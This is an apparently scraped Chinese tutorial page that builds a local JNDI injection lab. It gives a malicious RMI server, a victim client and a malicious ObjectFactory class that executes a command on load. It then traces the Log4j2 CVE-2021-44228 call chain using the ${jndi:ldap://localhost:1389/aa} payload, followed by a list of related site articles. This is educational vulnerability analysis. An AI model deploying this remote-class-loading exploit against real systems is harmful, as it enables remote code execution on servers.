JNDI注入的本地搭建和分析
 

JNDI概述

  JNDI(The java Naming and Directory Interface,java命名和目录接口)是一组在Java应用中访问命名和目录服务器的API,命令服务将名称和对象联系起来,使得我们可以用名称访问对象。
这些命名/目录服务提供者

  JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。

  JNDI可访问的现有的目录及服务有:

DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

JNDI搭建

jserver服务端(攻击端)

package jndi_a;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class jServer {
public static void main(String[] args) throws Exception {
String className = "Calc"; //类名
String url = "http://127.0.0.1:8000/";//远程类地址
Registry registry = LocateRegistry.createRegistry(1098);//rmi监听端口
Reference reference = new Reference(className, className, url);//按照lookup需要一个Reference类
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.rebind("aaa", referenceWrapper);//绑定一个stub
System.out.println("rmi://127.0.0.1/hacked is working...");
}
}

jClient客户端(受害端)

package jndi_a;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException; public class jClient {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1098/aaa"; //rmi
//String uri = "ldap://127.0.0.1:1389/aaa"; //ldap
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
Context ctx = new InitialContext();
ctx.lookup(uri);//
}
}

Calc恶意类

import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable; public class Calc implements ObjectFactory {
{
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
} static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
} public Calc() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} @Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
return null;
}
} 

使用方式:

1、在当前目录下执行 ( javac Calc.java )生成恶意类Calc.class

2、在Calc.class目录使用python3自带的http服务(python -m http.server 8000)

3、启动服务 jserver

4、执行客户端 jClient 会看到弹出来的计算器

 先启动恶意的CalcServer,然后运行 jserver,当调用initialContext.lookup(url)方法时,会通过rmi协议寻找ExportObject对应的对象referenceWrapper,而referenceWrapper为远程对象ExploitObject的引用,所以最终实例化的是ExploitObject从而触发静态代码块执行达到任意代码执行的目的。

JNDI注入分析:

  我们来分析一下log4j2JNDI注入漏洞,Log4j2的JNDI注入漏洞(CVE-2021-44228)可以称之为“核弹”级别。Log4j2作为类似JDK级别的基础类库,几乎没人能够幸免。

  

首先知道log4j2的攻击流程  

1、首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:${jndi:ldap://localhost:1389/aa}。

2、被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。

源码:org.apache.logging.slf4j.Log4jLogger.debug(...)/info(...)/error(...)等方法

    > org.apache.logging.log4j.core.config.LoggerConfig.log(...)

      > AbstractOutputStreamAppender.append(final LogEvent event)

3、此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。

源码:StrSubstitutor.substitute(...) --解析出${}中的内容:jndi:ldap://localhost:1389/aa

      > StrSubstitutor.resolveVariable(...) --处理解析出的内容,执行lookup

      > Interpolator.lookup(...) --根据jndi找到jndi的处理类

        > JndiLookup.lookup(...)

        > JndiManager.lookup(...)

          > java.naming.InitialContext.lookup(...) --调用Java底层的Lookup方法

◇ 后续步骤都是Java内部提供的Lookup能力,和Log4j2无关。

4、请求Ldap服务器,获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。

源码:LdapCtx.c_lookup(...) 请求并处理数据 (ldap中指定了javaCodeBase=)

    >Obj.decodeObject --解析到ldap结果,得到classFactoryLocation=http://localhost:8888

    > DirectoryManager.getObjectInstance(...) --请求Codebase得到对应类的结果

      > NamingManager.getObjectFactoryFromReference(...) --请求Codebase

5、请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象。

源码:VersionHelper12.loadClass(...) --请求Codebase得到Class并用类加载器加载

    > NamingManager.getObjectFactoryFromReference(...) 通过默认构造函数实例化类

不考虑代码类,划分步骤只有四步

1、攻击则发送带有恶意Ldap内容的字符串,让服务通过log4j2打印

2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。

3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。

4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。

代码审计分析jndi注入

因此可以通过在InitialContext.lookup(String name)方法上设置端点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:

整个调用堆栈较深,这里把几个关键点提取整理如下:

LOGGER.error
......
MessagePatternConverter.format
....
StrSubstitutor.resolveVariable
Interpolator.lookup
JndiLookup.lookup
JndiManager.lookup
InitialContext.lookup

(1)MessagePatternConverter.format()

poc代码中的LOGGER.error()方法最终会调用到MessagePatternConverter.format()方法,该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用StrSubstitutor进行进一步解析。

(2)StrSubstitutor.resolveVariable()

StrSubstitutor将${}之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现Lookup功能。

(3)Interpolator.lookup()

Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap中保存着各类Lookup功能的真正实现类。Interpolator对 上一步提取出的内容解析后,从strLookupMap获得Lookup功能实现类,并调用实现类的lookup()方法。

例如对poc例子中的jndi:rmi://127.0.0.1:1099/exp解析后得到jndi的Lookup功能实现类为JndiLookup,并调用JndiLookup.lookup()方法。

(4)JndiLookup.lookup()

JndiLookup.lookup()方法调用JndiManager.lookup()方法,获取JNDI对象后,调用该对象上的toString()方法,最终返回该字符串。

(5)JndiManager.lookup()

JndiManager.lookup()较为简单,直接委托给InitialContext.lookup()方法。这里单独提到该方法,是因为后续几个补丁中较为重要的变更即为该方法。

至此,后续即可以按照常规的JNDI注入路径进行分析。

JNDI注入的本地搭建和分析的更多相关文章

  1. Weblogic漏洞分析之JNDI注入-CVE-2020-14645

    Weblogic漏洞分析之JNDI注入-CVE-2020-14645 Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9. ...

  2. 浅析JNDI注入Bypass

    之前在Veracode的这篇博客中https://www.veracode.com/blog/research/exploiting-jndi-injections-java看到对于JDK 1.8.0 ...

  3. DVWA-对Command Injection(命令注入)的简单演示与分析

    前言 上一篇文章中,对命令注入进行了简单的分析,有兴趣的可以去看一看,文章地址 https://www.cnblogs.com/lxfweb/p/12828754.html,今天这篇文章以DVWA的C ...

  4. Java安全之JNDI注入

    Java安全之JNDI注入 文章首发:Java安全之JNDI注入 0x00 前言 续上篇文内容,接着来学习JNDI注入相关知识.JNDI注入是Fastjson反序列化漏洞中的攻击手法之一. 0x01 ...

  5. javasec(八)jndi注入

    JNDI JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式 ...

  6. PhpStorm Xdebug远程调试环境搭建原理分析及问题排查

    2017年05月26日  经验心得 目录   一. 环境介绍 二. 远程环境配置 2.2 Xdebug安装 2.3 配置 三. 本地phpstorm配置 3.1 下载远程代码 3.2 添加php解释器 ...

  7. JNDI注入与反序列化学习总结

    0x01.java RMI RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定 ...

  8. 爬虫管理平台以及wordpress本地搭建

    爬虫管理平台以及wordpress本地搭建 学习目标: 各爬虫管理平台了解 scrapydweb gerapy crawlab 各爬虫管理平台的本地搭建 Windows下的wordpress搭建 爬虫 ...

  9. JNDI注入基础

    JNDI注入基础 一.简介 JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务 ...

  10. Java之JNDI注入

    Java之JNDI注入 About JNDI 0x01 简介 JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JND ...

随机推荐

  1. 2022-05-06:给你一个整数数组 arr,请你将该数组分隔为长度最多为 k 的一些(连续)子数组。分隔完成后,每个子数组的中的所有值都会变为该子数组中的最大值。 返回将数组分隔变换后能够得到的元

    2022-05-06:给你一个整数数组 arr,请你将该数组分隔为长度最多为 k 的一些(连续)子数组.分隔完成后,每个子数组的中的所有值都会变为该子数组中的最大值. 返回将数组分隔变换后能够得到的元 ...

  2. Midjourney|文心一格prompt教程[基础篇]:注册使用教程、风格设置、参数介绍、隐私模式等

    Midjourney|文心一格prompt教程[基础篇]:注册使用教程.风格设置.参数介绍.隐私模式等 开头讲一下为什么选择Midjourney和文心一格,首先Midjourney功能效果好不多阐述: ...

  3. 计算机网络 传输层协议TCP和UDP

    目录 一.传输层协议 二.tcp协议介绍 三.tcp报文格式 四.tcp三次握手 五.tcp四次挥手 六.udp协议介绍 七.常见协议和端口 八.有限状态机 一.传输层协议 传输层协议主要是TCP和U ...

  4. hvv蓝初面试常见漏洞问题(上)

    1.SQL注入 漏洞成因: 可控变量 变量会带入数据库查询 变量不存在过滤或者变量过滤不严格 注入流程 判断是否有注入点 order by 判断字段数量 union select 报错查看注入点 使用 ...

  5. Java(命令行传参、可变参数、递归

    1.命令行传参 通过命令行传参,main也可以传参 public class Hello { public static void main(String[] args) { for (int i = ...

  6. tar 命令压缩时报错 Removing leading `/' from member names 解决方法

    原文:https://www.cnblogs.com/operationhome/p/9802554.html 在使用tar命令进行压缩打包的时候我们常常会遇到下面的错误.虽然它不会影响我们最后的压缩 ...

  7. 看看Angular有啥新玩法!手把手教你在Angular15中集成报表插件

    摘要:本文由葡萄城技术团队于博客园原创并首发.葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. Angular15新特性 Angular框架(以下简称"Angular" ...

  8. JavaWeb编程面试题——Spring Boot

    引言 面试题==知识点,这里所记录的面试题并不针对于面试者,而是将这些面试题作为技能知识点来看待.不以刷题进大厂为目的,而是以学习为目的.这里的知识点会持续更新,目录也会随时进行调整. 关注公众号:编 ...

  9. 南洋才女,德艺双馨,孙燕姿本尊回应AI孙燕姿(基于Sadtalker/Python3.10)

    孙燕姿果然不愧是孙燕姿,不愧为南洋理工大学的高材生,近日她在个人官方媒体博客上写了一篇英文版的长文,正式回应现在满城风雨的"AI孙燕姿"现象,流行天后展示了超人一等的智识水平,行文 ...

  10. vue3实现H5网页录音并上传(mp3、wav)兼容Android、iOS和PC端

    使用 Recorder插件 可以在HTML5网页中进行录音,录音完成后得到blob文件对象,然后将blob上传到服务器:项目使用的vue3.0版本(这个插件同时支持vue2.0.也支持uniapp,很 ...